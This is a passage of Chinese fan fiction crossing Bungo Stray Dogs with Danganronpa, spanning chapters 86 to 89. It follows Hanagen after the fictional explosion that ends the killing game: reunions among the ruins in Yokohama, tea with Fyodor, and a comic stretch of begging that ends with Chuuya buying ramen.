朝他射来的箭有不少在半空中被火焰点燃失去惯性落在舞台上,导致木制舞台灼灼燃烧,附着了火焰的碎木板不断往下坠落,像是从天空落下的陨星。 花言站在舞台中央未挪动半分,无论外界混乱成何种模样,他都依旧毫发无损。 简陋的木制舞台上火焰愈发高涨,黑白熊们的讨伐也愈加激烈。 声势浩大得仿佛耳边已经能够听见那声震耳欲聋的爆炸。 旁观的众人从周围摇晃的建筑中骤然反应过来那声爆炸似乎不是错觉,是真的有什麽东西爆炸了! 似处刑的再次蔓延,从处刑场地中的黑白熊观众席蔓延到处刑场地外的观众席。 无数碎石从头顶掉落,主持处刑的黑白熊愤怒地喊着花言的名字,却仍旧奈何不了对方。 建筑碎裂的声响不绝于耳,从一楼蔓延过来的火焰与舞台上的火光交相辉映。 费奥多尔望着站在简陋舞台上的白发少年,后者仍旧一身纯白,无论是长枪还是弓箭都无法伤及对方分毫,连带着愈演愈烈的火光也像是成为了对方的陪衬,使得对方干净明亮得与周围的混乱格格不入,犹如幻影。 这种规模的爆炸证明花言不仅仅只将他准备的炸弹安置在了物理实验室的巨型空气净化器上,一楼的焚化炉上应该也安装了,或者说,除了对方没有去过的第五层,对方应该把所有楼层能够扩大爆炸范围的东西上都安装了炸弹,再加上这所学园里隐藏在各个角落的备用黑白熊,后者身体里也有炸弹,因此极其容易发生连锁爆炸反应。 费奥多尔并不意外花言能做到这一点,以对方近乎是作弊的“才能”,在安装炸弹的时机应该刚好卡在了其他人都探索四楼数据室、分走了黑白熊注意的时候,以至于后者一点都没发现。 虽然黑白熊有很多备用的,但从来没有同时出现在他们面前一同交流,大概率是单线处理器,没办法同时处理信息,没发现倒也正常。 只是这个概率真的太小了,更别提对方还是独自一人。 舞台上少年雪白的长发在气流中扬起,披在肩头的斗篷被溅射上了火星,火星在布料上却没能继续燃烧,仅留下了几个边缘焦黑的窟窿。 对方的脸庞在灼热明亮的火光中显得有些苍白,被纱布覆盖住的双眼无法从中窥探任何情绪,仅能够看见对方唇角微微勾起,笑着朝他做了口型。 ——快跑吧。 他能跑到哪里去呢? 费奥多尔没忍住笑了一声,刺鼻的硝烟在空气中蔓延,失去了空气净化器,学园内所有化学制品和药物都顺着爆炸混杂在了空气里。 他笑着叹息,近微不可闻地说出了花言曾埋怨他的话,埋怨对方现在的行为。 “您真是坏心眼。” 第86章 灼热刺目的火光、震耳欲聋的轰鸣、呛鼻沉闷的硝烟、摇晃动荡的建筑、坍塌坠落的墙壁。 一切都在意识坠入深处的那一刻飞速褪去,皮肤上残留的高温错觉被清凉潮湿的微风抚平,呼吸间的浑浊尘埃被裹挟着海咸气息的清新空气取代。 记忆在大脑重新苏醒运转中缓缓重叠,身体各个部位的感知逐渐恢复,他似乎正趴在潮湿坚硬的地板上,穿得还挺单薄,冷意不断透过薄薄的衣物蔓延。 花言本能撑着冰冷的地板坐起身,指尖抵上额头,眉头轻蹙。 他最后……好像做了什麽不得了的事情。 这算是直接跟所有人爆了吗?最后甚至还不忘恶趣味地报复费奥多尔一下。 他就说拿到那种光盘会出事吧。 花言刚想叹气,又后知后觉地意识到这里似乎不是宿舍,他记得自己昨天晚上可是好端端睡在床上的。 那难道是因为暴力通关了自相残杀游戏副本,达成了同归于尽成就,直接结束了校园恋爱副本吗? 可他在默尔索也不是睡在地板上的。 所以…… 花言指尖下移,确认自己还带着墨镜。 他抬起头向四周望去,果不其然,映入眼帘的——是宛如废墟般的“骸塞”。 或许是因为系统创建副本时是将他们都转移走的,而他之前用异能空间硬控了“猎犬”,为了不让后者破坏他进默尔索的计划,又将空间锚点固定在了“骸塞”,因此现在副本结束,他们都被统一发送回了这里。 不复昔日辉煌的“骸塞”空气流动性相当好,不仅没有墙壁,也没有天花板,只有几根坍塌的碎柱子和周围的碎石表示这里曾有座建筑。 而他们一大堆人就这样倒在宛如建筑垃圾场般的废墟里逐渐恢复意识。 系统这个地点还选的挺好的,他都不用苦恼该怎麽从越狱了,现在直接重获自由。 美中不足的是,如果对方能把其他人分散的更远点就好了,比如说分散到横滨各个角落,或者是这个国家的各个角落。 看着其他人脸上伴随回想起所有记忆而发生变化的表情,花言总有种自己即将变成BOSS2.0——不,可能已经是3.0版,被组团群殴的错觉。 没有被选入自相残杀游戏、仅仅只是体验了一段普通校园时光的人望向周围,很快反应过来他们已经回到了自己所熟知的横滨。 而被选入了自相残杀游戏的众人从记忆中抽离的速度则比他们要慢上一些,看向周围时甚至有的人眼中出现了某种恍如隔世的恍惚。 记忆中的一切仿佛都还历历在目,乃至皮肤都还能感受到那种高温,胸腔间都是浑浊的尘埃,神经还停留在宛如末日终结般的那一刻。 没等他们视线聚焦查找那个将他们带去体验学院生活的罪魁祸首,一阵不紧不慢的脚步声由远及近,在这片还没有被打破沉默的废墟中传递至每个人的耳畔。 他们循声望去,在看清来者面容的一瞬间,又下意识转头在他们之中查找起更为熟悉的相同面容。 “玩得怎麽样?花言?” 轻佻又略有些甜腻意味的嗓音在空气中传导,“太宰治”披在肩头的血色围巾与漆黑的衣摆一同被微风轻轻扬起。 而在对方之后,站着相同打扮的“森鸥外”与早已消逝在时光中的两道身影——“涩泽龙彦”和“织田作之助”。 “太宰治”走到了花言面前,弯腰将对方从地上扶起。 “嗯……还算可以?” 花言有些不确定这个问题的答案,虽然通体有点乱七八糟又崩溃绝望的,但最起码现在他确实跟费奥多尔说上话了,也解开了误会,现在对方还强行出狱了,应该不会再出现闪击横滨的情况了……吧? 说起这一点,从另一种角度来看,现在这样又何尝不是在闪击横滨? 所有人都汇聚在一起了,还有异能,怎麽不能有仇报仇有怨报怨呢?又或者其他人顾忌到费奥多尔还未知的异能,会将对方重新抓进默尔索,那他到时候想见对方难道还要想办法再进默尔索吗? 花言面色凝重起来了。 “涩泽龙彦”没有过多在意对方忽然凝重的面色,相比之下他更在意对方此刻单薄又毫无美感的衣物。 “这是默尔索的囚服吗?还是一如既往的毫无品味。” 纯白连体,穿上去就像是个胖海星。 “织田作之助”抖开“涩泽龙彦”早已准备好的加厚版白斗篷披在花言肩头,“横滨最近要入冬了,一直这样站着会感冒的,我们回去吧。” 花言微微摇了摇头,“稍微等一下,我还有点事情需要做。” “需要做的事……?”“织田作之助”仿佛想起了什麽,表示理解地点头,“你去吧,我们在这等你。” 这种了然的反应让花言下意识诧异地看了对方一眼,怎麽对方像是知道自己想干什麽似的。 他狐疑地看向其他三人,发现其他三人对此没什麽反应,似乎是同样知道,也似乎只是单纯地不怎麽好奇。 花言没有在这上面浪费过多时间,他再一次将异能复制成了“深渊的红发安妮”,定向发送了他与费奥多尔。 两人的身影在这片废墟转瞬消失,一直表现得平静的其他三人不约而同地发出叹息。 站在“森鸥外”旁边的“爱丽丝”爆发出幸灾乐祸的大笑。 “还真是没用啊,林太郎。” 少女宛如银铃般的笑声结束了横滨众人按兵不动的观察。 森鸥外眼巴巴地看着“爱丽丝”,“这种可爱俏皮的反应,跟我亲爱的爱丽丝简直一模一样呢。” 这一声引起了“森鸥外”的警惕,他顾不得幽怨,当即将“爱丽丝”拉到了身后,隔绝了对方的视线,皮笑肉不笑地回道:“从某种程度上来说,我们是相同的,不过,我的爱丽丝是独一无二的。” “我的爱丽丝也是……” 两个森鸥外你来我往地讨论着各自的爱丽丝无与伦比的可爱与独特。 而太宰治跟坂口安吾已经从地上起来,走到了“织田作之助”面前。 太宰治选择性忽略了一身黑看起来就很不吉利的“太宰治”,围着“织田作之助”上下打量,“这可真不得了呢,跟六年前的织田作简直一模一样。” “对吧?”坂口安吾赞同点头,“我当初也被吓了一跳。” “织田作之助”一脸平静地跟两人说明,“太宰,对你来说,我就是六年前的织田作之助,对我来说,你就是未来的太宰,安吾也是,我们只是有点时间上的差距。” 太宰治手指抵在下巴处,若有所思地点头,“原来是这样的原理。” 半晌,他收拢了思绪,脸上扬起笑容。 “好!事不宜迟!我们一起去lupin酒吧庆祝吧!庆祝我重获自由!” 原本想看对方想整什麽花活的“太宰治”听见这句话忍不住了,他冷笑着插入三人之间,“给我等一下,没想到这个世界的我这麽厚脸皮呢,既然被抓走了,就给我乖乖去坐牢啊!现在越狱了,就当作自己已经洗心革面重获自由了吗?” 说着“太宰治”喊住一旁看起来像是想要离开的“猎犬”几人,“喂,默尔索的罪犯现在逃出来了,你们不把他抓回去吗?” “猎犬”的几人现在都各怀心事,听见这句话他们下意识望了过来。 没等其他人开口,大仓烨子不耐烦地叫道:“要这麽说,花言和费奥多尔也要被抓回去,我们很忙的,没空浪费时间跟你们继续大眼瞪小眼,也没空再扮演什麽校园师生——白天乖乖上课,晚上陪他玩什麽自相残杀式的同归于尽。让那个异能特务科的人去办好了!再顺便查查“书页”是怎麽一回事吧!” “太宰治”:…… 大眼瞪小眼的意思他知道,对方这应该是指之前“骸塞”花言卡战斗硬控数人的事。 但校园师生是什麽意思?自相残杀式的同归于尽又是什麽意思?怎麽感觉花言好像给他们留下了什麽不得了的印象……? “太宰治”骤然陷入沉思。 太宰治显然不会放过这个好时机,他当即开始落井下石,“没想到另一个世界的我不仅成为了糟糕的人,还很爱麻烦别人啊。” 被挑衅了的“太宰治”当即回怼,“那也比你好,明明都不了解这个织田作吧,还居然试图拉别人的朋友去喝酒。” “织田作不是已经说了我们之间只有时间上的不同吗?所以我跟他当然是朋友。”太宰治理所当然地说着。 “太宰治”知道对方这是想借此激怒自己得到线索,他发出一声冷笑,没有再陪对方继续争执,而是将看向了“织田作之助”,询问对方的想法。 “织田作,你怎麽想?” “嗯?”“织田作之助”不明所以地说道:“我们不是还要等花言吗?等他出来再说吧。” 两个太宰治不约而同地发出一声失望的气音,这个话题自此落下帷幕。 …… 在四周漂浮着粉嫩云朵、角落散落无数布偶,宛如大型童心玩具箱般的空间中站着两道身影。 费奥多尔打量了一圈周围,已然有所猜测,“这里是……” “异能空间,“安妮的房间”。” 花言知道一旦自己放出了霍桑,那后者迟早会将他绑架对方时所用的异能告诉费奥多尔,既然如此,不如他现在主动带对方进来,这样不仅能够直接面交霍桑,避免出现反击的情况,还能稍微拖延一点时间,避免对方梅开二度被抓进默尔索。 他打了个响指,房间最深处的那道门开启,被安妮抓进去的霍桑没有受到任何伤害,只不过那个房间里好像带有什麽昏迷效果,一身黑袍的男人低垂着脑袋,似已经坠入了梦境。 “我答应你要把他放了的。” 花言说出了带对方进入这处空间最为合理的缘由。 “其实您不用这麽着急兑现承诺。” 费奥多尔了然地笑了一声,视线落在眼前的白发青年身上,由于他们已经离开了校园,不用再强行契合身份,外表也回到了原来的模样。 他视线逐一扫过对方披在肩头的白绒斗篷,斗篷下的单薄囚衣,最终落在对方扎成一束垂落在身前的白发上,雪白的发丝间混杂着一缕紫。 明明已经从那个世界离开,他们的穿着也都变成了进入前的模样,但那条发带却被特意保留了下来吗? 他指尖下意识触上身前,一缕光滑的触感与凉意从指尖传导,无声提醒着他。 ——对方送的吊坠也被保留了下来。 在宛如梦境般毫无痕迹只留记忆的平行世界之旅中,只有这两样东西被对方特意从那个世界带了过来。 第87章 脑海中,一身洁白的少年单膝蹲在自己面前含笑吐露出话语时的亦真亦假,与破败舞台上跳动火光中略带些恶劣报复意味的口型,再次一次浮现。 昨晚自相残杀梦境维持的时间比前之前要短暂,而所透露出的信息量却比以往都要多。 黑白熊开启最终环节的时间比他预想的要快,这可能是对方已经察觉到了他们想用的方法,所以想赶在这之前将花言除掉。 同样的,以最后宣判结果时所说出的话语与前一次不同来看,这个“最终学级裁判”指的极有可能不是最后一次学级裁判,而是针对于查找“幕后黑手”的“最终学级裁判”。 如果花言真的被处刑,这场自相残杀游戏也不会落幕,黑白熊一定会再次开启所谓的“最终学级裁判”并告诉他们——它从来没有承认花言是真正的幕后黑手,从始至终认为花言是幕后黑手的,不一直是他们吗? 再借此利用这一点给他们造成打击,从而达到让他们陷入绝望的目的。 从始至终黑白熊的目的实际上并不是想让他们死亡,后者只是借助死亡这种方式来逼迫他们感到绝望罢了。 花言在失忆的状态下面对那些有关于自身疑点的证据,其实也并不确定自己究竟是不是幕后黑手,同样也不确定死亡后是否会迎接真正的死亡。 笔记中的内容虽然让对方想起了什麽,但想起的内容却没有对已经做出的决定产生任何影响。 固然花言的“才能”十分棘手,可哪怕对方没有在处刑中死去,在最后炸弹爆炸时也绝对会死,那种近乎将一切付之一炬的做法所造成的结果可不是概率事件。 因此对方在这之前吐露的话语,所做出的举动,全部都是发自真心——最为纯粹的、宛如本能的,真心。 如同情感与理智的拉扯,将他们之间的关系与付出维持在一个绝对的平衡。 ——对方早已想好要这麽做,如果他没有展露出想将对方设入死局再独自毕业的想法,那最终对方是否会真的全心全意帮助他呢? 这个答案已经无法得知了,同样也已经不重要了。 费奥多尔收拢思绪,语气中裹挟着笑意,似揶揄般,“难怪您不希望我提前自杀出局呢,原来是早就想好要这麽做了吗?” 黑白熊让他们查找幕后黑手的环节迟早会开启,考虑到幕后黑手极有可能只是一个假定身份,最后一定会发展成不断开启查找幕后黑手的学级裁判、不断投票处刑,直到最后只剩下两个人相互怀疑自相残杀,最终留下的那一人在达成独自毕业的同时,也成为了害同学不断去死的幕后黑手。 从这方面考虑,花言的做法确实是最好的、也是最快的破局方法了。 ——只要大家一次性都去死,学园也爆炸得连块完整的砖都不剩,场地没了人也没了,幕后黑手自然也没办法如黑白熊意筛选出来了。 听见这句话的花言默默把下巴埋进了加厚的白绒斗篷里,试图尽可能将自己藏起来。 他当时的最初想法真的只是想帮助费奥多尔推进计划……只不过可能稍微推的有点猛吧…… 其实这也不能怪他,谁让他失忆了又面对了一堆疑似自己是幕后黑手的证据,费奥多尔还给自己设了死局,再加上光盘里疑似在座各位都是他敌人的视频。 在这种情况下,他的“幸运”发力,把爆炸效果提升到比预想还要大数倍的规模,甚至出现了连锁爆炸反应,到处都是火光和硝烟,拉所有人同归于尽……也很正常吧……? 花言陡然沉默,想起了一件更为重要的事情——他仗着有可能大家都会死的豁达想法,在医务室和学级裁判上都说了些什麽啊?! 怎麽在该说谎的时候说真话,在该说真话的时候说谎啊?! 人在尴尬的时候会假装自己很忙,花言假装忙碌地在角落翻找出了一包红茶,试图转移话题,“要喝吗?” 费奥多尔看出了对方想要略过这个话题的想法,他拉开小圆桌边的椅子坐下,善解人意地点头,“麻烦您了。” “没关系。” 只要别再提昨晚的事,别说泡杯红茶了,让花言干什麽都行。 “安妮的房间”里时间是静止的,因此无论是热水还是茶包都是最佳状态,潺潺水流氤氲着热气,不断冲刷过茶包,属于伯爵红茶的香气在这处空间蔓延。 费奥多尔接过对方递过来的瓷制茶杯,紫罗兰色的眼眸透过朦胧的水雾看向圆桌另一侧的青年,后者如雪的长发伴随着动作从身后滑落到身前,恰到好处地遮住了一侧略有些红的耳尖。 “其实我很开心能够看见你不同的一面。” “嗯?”花言沉浸在思绪中的注意力被抽离,他缓缓眨了眨眼睛,似不知道这种时候该作何反应。 对方轻轻笑了一声,接着说道:“这意味着我又更加了解您了一些,毕竟不能一直只让您单方面了解我,相互了解才更公平,不是吗?花言?” 费奥多尔的语气轻缓又优雅,像是看出了他的不自然而安抚,也像是在诉说出自己的真实想法。 “在这之后……唔,考虑到您形迹有点神秘,我大概率没办法主动找到您,所以……花言,您还会主动来找我见面吗?” “当然。” 花言毫不犹豫地给予了承诺,只要对方想,他就算挨家挨户去敲擂钵街居民的大门也会找到对方的。 只不过费奥多尔显然考虑得十分周到,用不着他去敲大门,对方从一旁的杂物盒中找出了一支钢笔与白纸,笔尖落在纸面写下了一串地址与联系方式。 费奥多尔将手中写有地址的纸递给了对方,似意有所指般说道:“虽然您想选用哪种方式都行,不过我希望您能尽量走正门,稍微给我一点准备的时间。” 这听起来像是在提醒他不要再翻阳台偷偷潜入了一样。 花言有点想辩驳自己不会再干那种事,但又想到这有点像flag,最终还是隐忍地点头,表示自己知道了。 他看了眼最上面挂着的、用于彰显外面时间流速时钟,考虑到对方的人生安全和自由,以及进默尔索的艰难,花言决定再拖延一会儿时间,等外面的人散去一些。 他发出了邀请,“不着急的话,要喝完再走吗?” 费奥多尔一如既往地没有拒绝,“好。” 但费奥多尔没有想到的是,对方指的“喝完”并不是手中小瓷杯里的红茶,而是桌上那一整壶红茶。 虽然对方源源不断地拿出了甜点用于搭配,可茶壶里的红茶近乎无穷无尽,这让费奥多尔有些怀疑对方是不是趁他不注意偷偷往里面添加热水了。 直到指针走了一圈,费奥多尔忍不住出声打断了对方再次试图给他倒水的动作,“花言。” 被喊了名字的青年似乎也后知后觉地意识到已经够久了,他干咳两声,“抱歉。” 花言让安妮将霍桑提了出来,在离开最深处房间的一瞬间,霍桑骤然苏醒,记忆接轨上被绑架的那一幕,他下意识抬起手,指尖划破了皮肤,猩红靡丽的色泽蜿蜒而落,在半空中被施加上异能,一枚泛着金色文本的血弹即将射出。 “可以了,牧师先生,您的任务已经完成了。” 费奥多尔的嗓音恰到好处地响起,阻止了即将发生的攻击。 花言确认不会发生无差别攻击的情况,抬手取消了异能,周围的异能空间随之解除,属于沿海城市的潮湿气息再次包裹。 他环顾了一圈周围,发现“骸塞”废墟里只剩下了他们,其他人似乎都已经离开了。 “其他人呢?”花言向一旁看似等待许久、实则真的等了很久的“太宰治”问道。 后者掰着手指一一清数,““猎犬”说他们很忙没空再浪费时间在你们身上,所以先走了。港口mafia组织首领,也就是这个世界的森先生,在得知我和森先生帮他处理了一段时间工作后,十分担心他不在的期间里,港口mafia是不是被我们弄解散了,所以急匆匆地离开了。“组合”的弗朗西斯本来想等你出来的,但是等了半天没等到,于是选择先走了。果戈里他们好像有什麽事做,在看见你和费奥多尔身形消失的一瞬间就离开了……” “太宰治”停顿了一下,才用近乎是得意般的胜利者口吻说道:“武装侦探社着急去洗清冤屈,当然不会在这里浪费太多时间。哼哼,这个世界的‘我’本来想留下,但是很可惜,被国木田强行拽走了。” 说到这里他又有点唏嘘,“果然,无论哪个世界的国木田都相当认真呢。” “总之,你要处理的事情已经处理完了吧?”“太宰治”重整旗鼓,选择性忽略了一旁的费奥多尔,“我们可以离开了吗?” “嗯。”花言应了一声,他确实没有什麽事情还需要做了。 现在费奥多尔有能用的强大下属了,其他人也已经离开了,就算对方想再进默尔索,短时间里也进不去,他刚好可以趁这个间隙想想下一步要做些什麽。 在花言刚想转头跟其他人离开的那一刻,海风裹挟着一道温和又在尾音带着些许磁性的熟悉嗓音传入耳畔。 “花言。” 费奥多尔苍白的面色与罕见的瞳色被晨曦一同柔和,含笑提醒,“我会一直期待您的到来。” 一句话当即让花言想到了下一步要做的事,“我也很期待我们的下一次见面。” “太宰治”眼眸微眯,他像是突然想起了什麽,双手一拍,在发出清脆声响的同时也唤回了花言的注意。 “对了,花言,我想起来,弗朗西斯在离开前跟我说他想找你吃饭,好像有什麽事情想找你商量。” “诶?” 花言回想起弗朗西斯曾跟他合作的事情,没等他进一步细想,只听“太宰治”又发出一声明悟的气音。 “啊……还有果戈里他们,果戈里跟我说他晚点再回来找你。嗯,还有“猎犬”的队长福地樱痴,他似乎想让我问问你有没有兴趣进“猎犬”,不过我觉得你肯定没有,所以就替你拒绝了。” 果戈里暂且忽略,“猎犬”那边拒绝的好,他确实没有兴趣,当“猎犬”好像都要先进行异能手术,还要定期去做,这听起来就很痛,也很麻烦。 花言还未来得及表示称赞对方做得对而点头,只听对方又说道。 “这个世界的森先生和‘我’似乎也想见你,虽然我觉得他们找你肯定没什麽好事,想替你拒绝,不过我毕竟不知道具体发生了什麽,要不要见……还是要看你的想法,花言。” “太宰治”意味深长地说道:“本来想晚点再告诉你的,但是我怕忘记,也怕你行程排满,所以还是趁现在,先告诉你好了。” “织田作之助”认真地做出了总结,“听起来会很忙啊。” “一下子成为焦点了呢,花言。”“森鸥外”发出感叹。 “嫌麻烦就都拒掉好了。”“涩泽龙彦”语气古井无波,仿佛在说一件微不足道的小事。 花言:…… 花言缓缓陷入了沉默。 好消息,他未来的日子不会太无聊,也不用再思考要干什麽了。 坏消息,有点精彩繁忙过头了,显得像是一次副本结束,开启了无数条支线一样。 第88章 当要做的事情一多起来,还都是些不怎麽紧急的事情,就会触发花言的拖延心理,在众多类似于支线一样的选择中,他独自开辟了一条新支线。 他之前在食堂跟学院版“与谢野晶子”了解情况的时候,曾想好要在食堂铺满豆腐汤作为感谢,但可惜的是最后离开的太匆忙了,别提铺满豆腐汤了,连其他人的面都没见到。 暂且不提那些笔记,光是在掩盖他秘密这一点上,他们就帮了自己不少,他甚至怀疑最后黑白熊会直接开启“最终学级裁判”跟他们肯定也有关系,毕竟黑白熊有提到过“收视率低迷”、“观众觉得无聊”这些词汇。 晚上失忆的他与白天有很大的信息差,上帝视角的观众能比他发现更多的蛛丝马迹,也能通过视角的转换发觉其他人的想法,他们会选择催促黑白熊、给对方施压,十有八九是与他一同参与自相残杀的那些人对他产生了什麽猜想,而他们这麽做应该是为了帮助他好在其他人那边掩盖什麽。 有学院版的剧本三人组——“费奥多尔”、“太宰治”、“江户川乱步”在“观众席”上,花言相信这种结束方式一定是他们精心筹划出的——也是最为合适的、能够遮掩他秘密的方法。 为了感谢学院版的所有人,花言决定要一掷千金请他们都来这里吃一顿高级的怀石料理! 为此他正在横滨街头当流浪汉攒钱。 “太宰治”费解地坐在花坛边,看着蹲在对面面前摆了个碗的白发青年,后者又恢复了一身纯白、宛如白色开花肠的打扮。 “涩泽龙彦”本来极力想给对方换个形象,但都被花言以不够宽松、不够遮掩、太精致了……等等各种理由否决,最终“涩泽龙彦”提着一堆被打回的衣物告诉花言他要回去了——回自己那个世界的工作室闭关,临走时还信誓旦旦地保证下次一定会带来一个能够满足对方所有要求的作品。 “森鸥外”见“涩泽龙彦”已经离开,这里也没什麽事情再需要他帮忙,考虑到已经来这里了好几个月,也是时候该回去处理工作了,于是也向花言提出了告别。 花言干脆利落地同意,将要照顾小孩的“织田作之助”也一同送了回去,本来“太宰治”也该回去工作的,但在后者巧舌如簧的极力劝说下,还是继续留下了。 在横滨近乎所有组织上层都消失的这段时间里,“太宰治”和“森鸥外”从异能特务科和港口mafia,黑白两道双管齐下。 不仅给花言洗掉了原本就不多的信息,还给对方捏造了两个身份,一个是用于跟异能组织打交道的超越者身份,另一个是平平无奇的普通人身份,顺带还从港口mafia的灰色资产里薅了点资金洗了套住宅给对方。 因此对方无论如何都不会沦落到去当流浪汉,除非是对方想去。 “太宰治”在花言说出自己要去体验生活并充满朝气地出门时,就好奇地跟在了对方身后,他们之间有感应,这点跟踪自然无法瞒过对方,所以他干脆正大光明地跟了,于是就看见对方在这里拿出了个碗当流浪汉。 “太宰治”:…… 原来是这样的体验生活吗? “太宰治”手肘撑在膝盖上,双手抵着下巴,看着花言在这里蹲了一上午只收获了两百日元,按捺不住地出声提醒。 “花言,你知道这里其实不止有当流浪汉才能获得钱财的方式吗?” “我知道。”花言想继续解释些什麽,却又在张口那一瞬间放弃,仅直白地表示,“我只是在练习。” “太宰治”:? 他迟疑地再次确认,“练习什麽……?” 是他想的那样吗?对方在练习当流浪汉? “吱——” 骤然响起的刹车声取代了花言的回答率先在空气中传递,一辆黑色的车停在了路边,紧接着车门被人推开,一道披着黑色外套,带着礼帽的橙发身影从副驾驶的位置上下车,目标明确地朝他们这边走来。 “太宰治”假装没看见地扭过了头,“我觉得是时候去吃午饭了,你觉得呢?” 花言在看见中原中也的那一刻,脑海自动翻找出了所有会与港口mafia有关的事情,他记得“太宰治”跟他说过森鸥外似乎有事想找他,所以现在是后者看他迟迟没有动静,干脆主动出击了吗? 听见“太宰治”的提议,原本运转的思绪中混杂上了一缕杂线,见中原中也越走越近,他下意识脱口而出。 “你是来请我们吃饭的吗?” 中原中也:? “哈?” 中原中也神色莫名,“谁要请你们吃饭了?” 对方是忘了他干的那些事吗?他现在没冲上来给对方一拳头都是给对方面子了。 “也是。”花言将思绪中的杂线剔除,言归正传,“你找我们什麽事?” “‘我们’?”中原中也意味不明地咀嚼了一遍这个词汇,哼笑一声,“别误会了,我们对于他可没兴趣,我们BOSS想要见的是你,花言。” “森先生还是一如既往地喜欢挑软柿子下手啊。” “太宰治”似讥诮般发出感叹,倒是不介意自己会被排除这件事,毕竟以他现在扮演的身份,森鸥外肯定不愿意看见他。 中原中也听见这句话面色有点古怪,“软柿子”是指谁?花言吗? 对方哪里像软柿子了? 对方不仅能够在短短几分钟里洗劫他们仓库、还能重现六年前的“龙头战争”令所有组织束手无策、甚至都能搞出个平行世界了,从对方最后在学级裁判中自认幕后黑手拉他们所有人同归于尽的决策来看,这根本就是块金刚石。 中原中也上上下下打量了“太宰治”一番,言简意赅地说道:“眼睛不好就去治。” “比起我的眼睛,我觉得你倒是更需要担心一下自己……” 没等“太宰治”将后续的阴阳怪气说完,花言抢先一步中止了即将发生的无硝烟战争,他从碗里捞起早上辛劳得到的两百日元,拉住“太宰治”。 “好了,我们先去吃饭吧。” 说着他又看向中原中也,露出了些许歉意,“抱歉,有什麽事等我们吃完饭再说吧。” 中原中也看着花言手里端着的碗,又看了看对方手里抓着的两百日元硬币,最终整体看向两人干净整洁的穿着,眼睛里浮现出了深深的迷茫与疑惑。 “你们……” 后面的话中原中也没有继续说,他刚刚在车上注意到这两人的时候,花言确实是蹲在墙角的,面前也确实摆了个碗,所以这两百日元真的是对方乞讨到的吗? 那“太宰治”呢?后者就这麽看着对方乞讨?如果真的窘迫到需要乞讨了的地步,“太宰治”无论如何都不应该会干看着吧? 毕竟对方前不久还趁他们都不在横滨的时机,与其他同伴一同联手从港口mafia洗了套住宅挂在花言名下。 说来也是,如果花言没钱吃饭的话,把那套房子卖了不就好了? “太宰治”大致能够猜到中原中也在想什麽,他顺势发挥,唇角溢出一声冷笑,“都是花言太客气了,他知道好不容易得来的容身之所,其实是我跟森先生从港口mafia洗来的不义之财后,想立即搬走还给你们,还说着被迫抢了仓库、还害得你们被卷入意外就已经很不好意思了之类的话。我哪怕好不容易劝说他住下,他也想着要努力赚钱还给你们。” 中原中也和花言的表情同步变得空白,思绪不约而同地同步——那是谁啊?! 他有说过那样的话吗?! 花言瞳孔地震。 “不,不是。”中原中也险些被对方带偏了,他指着花言怀里的碗,大为震撼,“哪有当流浪汉赚钱的啊?!” 这要赚到猴年马月去?等港口mafia首领都继任几百任了,对方都不一定能通过乞讨赚到百万日元吧?! “你不是很清楚花言眼睛上的不方便吗?”“太宰治”深深叹了口气,似无力般,“这种情况很难找工作啊。” 中原中也:…… 他目光落在花言一直佩戴在眼前的墨镜,回想起后者在那场自相残杀游戏里,哪怕墨镜坏了用纱布也要遮住眼睛的做法。 有些动摇,“是……异能负荷留下的后遗症吗?” “没错。”“太宰治”宕机立断地肯定了中原中也的猜测,他继续叹息,“花言他能只花费一早上就得到两百日元已经很了不起了。” 花言:…… 他怎麽觉得自己好像被攻击了一下。 花言捏紧了手里的两硬币,虽然现在只有两百日元,但这都是他经验不足所致的,莫欺流浪汉穷! 在花言隐忍的间隙,中原中也骤然反应过来。 “那你呢?”中原中也质疑无比,“既然花言不方便,那你赚钱不就好了?” 对方坐在一边看像话吗?如果花言眼睛真的有问题,那让对方去乞讨的“太宰治”有十分甚至九分的不对劲。 “我倒是也想,但花言不愿意麻烦我,他喜欢自力更生。” “太宰治”面不改色地搬出了早已想好的说辞。 中原中也:? 他再次想起了一个疑点,“不对啊,花言他不是‘茶泡饭之神’吗?” 对方都能拿出无穷无尽的茶泡饭了,还用担心一日三餐? “其实那些茶泡饭都是花言赚钱买的。” “太宰治”说出口的话愈发离谱了起来,“他每天起早贪黑赚钱,买到的茶泡饭都用于接济擂钵街的穷人了。” 这话说出来你自己笑了没? 花言不知道“太宰治”笑没笑,反正他笑了。 中原中也耐心已经到达了极限,他拳头捏的咯吱作响,“我说你,说谎骗人也稍微有个限度吧?!” 见中原中也最终还是没信,“太宰治”遗憾地微微耸肩,他拉着花言继续走向商业街,“算了,花言,只有两百日元也已经是个不错的开始了,能喝瓶汽水呢。” 中原中也看着那两人的背影,无端想起那场自相残杀游戏最后学级裁判中花言面对质疑毫不辩解的模样,他自然也能够从那只布偶不同的宣告中明白花言极有可能不是幕后黑手,因此对方会这麽做大概率是为了结束这一切。 说起来,花言在“骸塞”时也有过想要把东西都还给他们的意向,只不过后来不知道是出于什麽而放弃了,如果“太宰治”说的话里有真话——对方是被迫抢了仓库、让他们参与那场自相残杀游戏也是无意,那请对方吃顿饭也没什麽关系。 只是餐饭而已,更何况这麽做了也能更加顺理成章地将花言带去港口mafia,对于之后的谈判也更有利。 中原中也很快做出了决断,他喊住了那两人。 “喂,这顿饭我请你吃吧,花言。” 第89章 原本花言打算中午和“太宰治”找个没人的角落进异能空间吃点复制的茶泡饭凑合一下,但既然有人请客那他就没必要再委屈自己了。 他当即脚步一转,进了商业街入口处的一家拉面店。 他从早上蹲在这里当流浪汉开始,就注意到那家拉面店了,那股随风飘来的香味一直诱惑着他,现在有了机会当然要去吃。 中原中也在说出那句请这两人吃饭的承诺后,原本有些懊恼,懊恼他似乎又中了“太宰治”的诡计,对方肯定想借此让他钱包大出血。 但这份懊恼在看见花言拉着“太宰治”直奔那家看起来就很平价的拉面店时消散,转而被惭愧取代。都怪这个世界的太宰治给他留下了太多糟糕的印象,他居然用有色眼镜看人了,也许“太宰治”根本没那个意思,这两人只是单纯想吃饭,是他想太多了。 殊不知“太宰治”也正在跟花言提这个问题,他戳着碗里的拉面,不动声色地暗中提醒。 [花言,其实我们可以趁这个机会去吃点更贵更好吃的东西哦,港口mafia干部的工资很高,他肯定不会介意的。] 花言正忙着品尝心心念念了一早上的拉面,幸亏回复对方不用开口说话,不然他现在都抽不出空。 [嗯嗯,下次一定。] “太宰治”听见这个回答就知道对方完全没有认真听,回复了跟没回复一样。 不过既然花言吃的很开心,那他也没必要再继续这个话题。 “太宰治”夹起拉面尝试着往嘴里塞了一口,意外地发现味道还不错。 